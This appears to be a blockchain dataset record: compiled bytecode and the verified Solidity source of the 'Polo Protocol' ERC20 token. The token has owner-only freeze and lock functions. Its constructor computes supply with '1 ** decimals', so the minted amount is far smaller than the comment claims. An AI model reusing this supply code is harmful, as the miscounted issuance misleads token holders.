fffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610d47576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ddb565b610d5a838261166d90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f6b57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f457061790000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156110b057600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156110fd57600080fd5b61114e826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166d90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111e1826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061132382600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561157157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156115ad57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561167b57fe5b818303905092915050565b6000818301905082811015151561169957fe5b809050929150505600a165627a7a72305820a8964f9e6e7fd8a7c5ce7c40b90b61582891c5f4f4088da8712ed9d990a545240029
|
{"success": true, "error": null, "results": {}}
| 3,253 |
0x46e54bfa49202c8743dceca89076c8507b16f37a
|
/**
*Submitted for verification at Etherscan.io on 2021-06-02
*/
pragma solidity ^0.5.0;
library SafeMath{
/**
* Returns the addition of two unsigned integers, reverting on
* overflow.
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, errorMessage);
return c;
}
/**
* Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* - Subtraction cannot overflow.
*
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
}
contract owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner,"ERC20: Required Owner !");
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require (newOwner != address(0),"ERC20 New Owner cannot be zero address");
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes calldata _extraData) external ; }
contract TOKENERC20 {
using SafeMath for uint256;
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
/* This generates a public event on the blockchain that will notify clients */
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
constructor(
uint256 initialSupply,
string memory tokenName,
string memory tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) private _allowance;
mapping (address => bool) public LockList;
mapping (address => uint256) public LockedTokens;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint256 _value) internal {
uint256 stage;
require(_from != address(0), "ERC20: transfer from the zero address");
require(_to != address(0), "ERC20: transfer to the zero address"); // Prevent transfer to 0x0 address. Use burn() instead
require (LockList[msg.sender] == false,"ERC20: Caller Locked !"); // Check if msg.sender is locked or not
require (LockList[_from] == false, "ERC20: Sender Locked !");
require (LockList[_to] == false,"ERC20: Receipient Locked !");
// Check if sender balance is locked
stage=balanceOf[_from].sub(_value, "ERC20: transfer amount exceeds balance");
require (stage >= LockedTokens[_from],"ERC20: transfer amount exceeds Senders Locked Amount");
//Deduct and add balance
balanceOf[_from]=stage;
balanceOf[_to]=balanceOf[_to].add(_value,"ERC20: Addition overflow");
//emit Transfer event
emit Transfer(_from, _to, _value);
}
/**
* Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address _spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(_spender != address(0), "ERC20: approve to the zero address");
_allowance[owner][_spender] = amount;
emit Approval(owner, _spender, amount);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public returns(bool){
_transfer(msg.sender, _to, _value);
return true;
}
function burn(uint256 _value) public returns(bool){
require (LockList[msg.sender] == false,"ERC20: User Locked !");
uint256 stage;
stage=balanceOf[msg.sender].sub(_value, "ERC20: transfer amount exceeds balance");
require (stage >= LockedTokens[msg.sender],"ERC20: transfer amount exceeds Senders Locked Amount");
balanceOf[msg.sender]=balanceOf[msg.sender].sub(_value,"ERC20: Burn amount exceeds balance.");
totalSupply=totalSupply.sub(_value,"ERC20: Burn amount exceeds total supply");
emit Burn(msg.sender, _value);
emit Transfer(msg.sender, address(0), _value);
return true;
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param Account address
*
* @param _value the amount of money to burn
*
* Safely check if total supply is not overdrawn
*/
function burnFrom(address Account, uint256 _value) public returns (bool success) {
require (LockList[msg.sender] == false,"ERC20: User Locked !");
require (LockList[Account] == false,"ERC20: Owner Locked !");
uint256 stage;
require(Account != address(0), "ERC20: Burn from the zero address");
//Safely substract amount to be burned from callers allowance
_approve(Account, msg.sender, _allowance[Account][msg.sender].sub(_value,"ERC20: burn amount exceeds allowance"));
//Do not allow burn if Accounts tokens are locked.
stage=balanceOf[Account].sub(_value,"ERC20: Transfer amount exceeds allowance");
require(stage>=LockedTokens[Account],"ERC20: Burn amount exceeds accounts locked amount");
balanceOf[Account] =stage ; // Subtract from the sender
//Deduct burn amount from totalSupply
totalSupply=totalSupply.sub(_value,"ERC20: Burn Amount exceeds totalSupply");
emit Burn(Account, _value);
emit Transfer(Account, address(0), _value);
return true;
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` on behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
_transfer(_from, _to, _value);
_approve(_from,msg.sender,_allowance[_from][msg.sender].sub(_value,"ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
* Emits Approval Event
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
uint256 unapprovbal;
// Do not allow approval if amount exceeds locked amount
unapprovbal=balanceOf[msg.sender].sub(_value,"ERC20: Allowance exceeds balance of approver");
require(unapprovbal>=LockedTokens[msg.sender],"ERC20: Approval amount exceeds locked amount ");
_allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
function allowance(address _owner,address _spender) public view returns(uint256){
return _allowance[_owner][_spender];
}
}
contract POLO is owned, TOKENERC20 {
/* Initializes contract with initial supply tokens to the creator of the contract */
constructor () TOKENERC20(
10000000000 * 1 ** uint256(decimals),
"Polo Protocol",
"POLO") public {
}
/**
* User Lock
*
* @param Account the address of account to lock for transaction
*
* @param mode true or false for lock mode
*
*/
function UserLock(address Account, bool mode) onlyOwner public {
LockList[Account] = mode;
}
/**
* Lock tokens
*
* @param Account the address of account to lock
*
* @param amount the amount of money to lock
*
*
*/
function LockTokens(address Account, uint256 amount) onlyOwner public{
LockedTokens[Account]=amount;
}
function UnLockTokens(address Account) onlyOwner public{
LockedTokens[Account]=0;
}
}
|
0x608060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461010c578063095ea7b31461019c57806311a5c3611461020f57806318160ddd1461026c5780631f846df41461029757806323b872dd14610300578063313ce5671461039357806342966c68146103c45780634723e1241461041757806350a8dbb71461046857806370a08231146104c357806379cc6790146105285780638da5cb5b1461059b57806395d89b41146105f2578063a26bddb414610682578063a9059cbb146106e7578063cae9ca511461075a578063dd62ed3e14610864578063f2fde38b146108e9575b600080fd5b34801561011857600080fd5b5061012161093a565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610161578082015181840152602081019050610146565b50505050905090810190601f16801561018e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101a857600080fd5b506101f5600480360360408110156101bf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109d8565b604051808215151515815260200191505060405180910390f35b34801561021b57600080fd5b5061026a6004803603604081101561023257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610c5b565b005b34801561027857600080fd5b50610281610d7a565b6040518082815260200191505060405180910390f35b3480156102a357600080fd5b506102e6600480360360208110156102ba57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d80565b604051808215151515815260200191505060405180910390f35b34801561030c57600080fd5b506103796004803603606081101561032357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610da0565b604051808215151515815260200191505060405180910390f35b34801561039f57600080fd5b506103a8610eaf565b604051808260ff1660ff16815260200191505060405180910390f35b3480156103d057600080fd5b506103fd600480360360208110156103e757600080fd5b8101908080359060200190929190505050610ec2565b604051808215151515815260200191505060405180910390f35b34801561042357600080fd5b506104666004803603602081101561043a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611346565b005b34801561047457600080fd5b506104c16004803603604081101561048b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611452565b005b3480156104cf57600080fd5b50610512600480360360208110156104e657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061155e565b6040518082815260200191505060405180910390f35b34801561053457600080fd5b506105816004803603604081101561054b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611576565b604051808215151515815260200191505060405180910390f35b3480156105a757600080fd5b506105b0611bd5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105fe57600080fd5b50610607611bfa565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561064757808201518184015260208101905061062c565b50505050905090810190601f1680156106745780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561068e57600080fd5b506106d1600480360360208110156106a557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c98565b6040518082815260200191505060405180910390f35b3480156106f357600080fd5b506107406004803603604081101561070a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611cb0565b604051808215151515815260200191505060405180910390f35b34801561076657600080fd5b5061084a6004803603606081101561077d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156107c457600080fd5b8201836020820111156107d657600080fd5b803590602001918460018302840111640100000000831117156107f857600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611cc7565b604051808215151515815260200191505060405180910390f35b34801561087057600080fd5b506108d36004803603604081101561088757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e4b565b6040518082815260200191505060405180910390f35b3480156108f557600080fd5b506109386004803603602081101561090c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ed2565b005b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109d05780601f106109a5576101008083540402835291602001916109d0565b820191906000526020600020905b8154815290600101906020018083116109b357829003601f168201915b505050505081565b600080610a8b83606060405190810160405280602c81526020017f45524332303a20416c6c6f77616e636520657863656564732062616c616e636581526020017f206f6620617070726f7665720000000000000000000000000000000000000000815250600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a49092919063ffffffff16565b9050600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548110151515610b6a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d8152602001807f45524332303a20417070726f76616c20616d6f756e742065786365656473206c81526020017f6f636b656420616d6f756e74200000000000000000000000000000000000000081525060400191505060405180910390fd5b82600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a3600191505092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d1f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f45524332303a205265717569726564204f776e6572202100000000000000000081525060200191505060405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60045481565b60076020528060005260406000206000915054906101000a900460ff1681565b6000610dad848484612166565b610ea48433610e9f85606060405190810160405280602881526020017f45524332303a207472616e7366657220616d6f756e742065786365656473206181526020017f6c6c6f77616e6365000000000000000000000000000000000000000000000000815250600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a49092919063ffffffff16565b61285f565b600190509392505050565b600360009054906101000a900460ff1681565b6000801515600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515610f8b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f45524332303a2055736572204c6f636b6564202100000000000000000000000081525060200191505060405180910390fd5b600061103d83606060405190810160405280602681526020017f45524332303a207472616e7366657220616d6f756e742065786365656473206281526020017f616c616e63650000000000000000000000000000000000000000000000000000815250600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a49092919063ffffffff16565b9050600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811015151561111c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260348152602001807f45524332303a207472616e7366657220616d6f756e742065786365656473205381526020017f656e64657273204c6f636b656420416d6f756e7400000000000000000000000081525060400191505060405180910390fd5b6111cc83606060405190810160405280602381526020017f45524332303a204275726e20616d6f756e7420657863656564732062616c616e81526020017f63652e0000000000000000000000000000000000000000000000000000000000815250600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a49092919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061128283606060405190810160405280602781526020017f45524332303a204275726e20616d6f756e74206578636565647320746f74616c81526020017f20737570706c79000000000000000000000000000000000000000000000000008152506004546120a49092919063ffffffff16565b6004819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5846040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a36001915050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561140a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f45524332303a205265717569726564204f776e6572202100000000000000000081525060200191505060405180910390fd5b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611516576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f45524332303a205265717569726564204f776e6572202100000000000000000081525060200191505060405180910390fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60056020528060005260406000206000915090505481565b6000801515600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561163f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f45524332303a2055736572204c6f636b6564202100000000000000000000000081525060200191505060405180910390fd5b60001515600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515611707576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f45524332303a204f776e6572204c6f636b65642021000000000000000000000081525060200191505060405180910390fd5b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141515156117d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f45524332303a204275726e2066726f6d20746865207a65726f2061646472657381526020017f730000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b6118ca84336118c586606060405190810160405280602481526020017f45524332303a206275726e20616d6f756e74206578636565647320616c6c6f7781526020017f616e636500000000000000000000000000000000000000000000000000000000815250600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a49092919063ffffffff16565b61285f565b61197a83606060405190810160405280602881526020017f45524332303a205472616e7366657220616d6f756e742065786365656473206181526020017f6c6c6f77616e6365000000000000000000000000000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a49092919063ffffffff16565b9050600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548110151515611a59576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260318152602001807f45524332303a204275726e20616d6f756e742065786365656473206163636f7581526020017f6e7473206c6f636b656420616d6f756e7400000000000000000000000000000081525060400191505060405180910390fd5b80600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b1083606060405190810160405280602681526020017f45524332303a204275726e20416d6f756e74206578636565647320746f74616c81526020017f537570706c7900000000000000000000000000000000000000000000000000008152506004546120a49092919063ffffffff16565b6004819055508373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5846040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611c905780601f10611c6557610100808354040283529160200191611c90565b820191906000526020600020905b815481529060010190602001808311611c7357829003601f168201915b505050505081565b60086020528060005260406000206000915090505481565b6000611cbd338484612166565b6001905092915050565b600080849050611cd785856109d8565b15611e42578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611dd1578082015181840152602081019050611db6565b50505050905090810190601f168015611dfe5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015611e2057600080fd5b505af1158015611e34573d6000803e3d6000fd5b505050506001915050611e44565b505b9392505050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611f96576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f45524332303a205265717569726564204f776e6572202100000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515612061576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001807f4552433230204e6577204f776e65722063616e6e6f74206265207a65726f206181526020017f646472657373000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008383111582901515612153576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156121185780820151818401526020810190506120fd565b50505050905090810190601f1680156121455780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515612232576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001807f45524332303a207472616e736665722066726f6d20746865207a65726f20616481526020017f647265737300000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156122fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001807f45524332303a207472616e7366657220746f20746865207a65726f206164647281526020017f657373000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b60001515600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415156123c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f45524332303a2043616c6c6572204c6f636b656420210000000000000000000081525060200191505060405180910390fd5b60001515600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561248d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f45524332303a2053656e646572204c6f636b656420210000000000000000000081525060200191505060405180910390fd5b60001515600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515612555576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f45524332303a2052656365697069656e74204c6f636b6564202100000000000081525060200191505060405180910390fd5b61260582606060405190810160405280602681526020017f45524332303a207472616e7366657220616d6f756e742065786365656473206281526020017f616c616e63650000000000000000000000000000000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a49092919063ffffffff16565b9050600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481101515156126e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260348152602001807f45524332303a207472616e7366657220616d6f756e742065786365656473205381526020017f656e64657273204c6f636b656420416d6f756e7400000000000000000000000081525060400191505060405180910390fd5b80600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127b1826040805190810160405280601881526020017f45524332303a204164646974696f6e206f766572666c6f770000000000000000815250600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ae09092919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405180828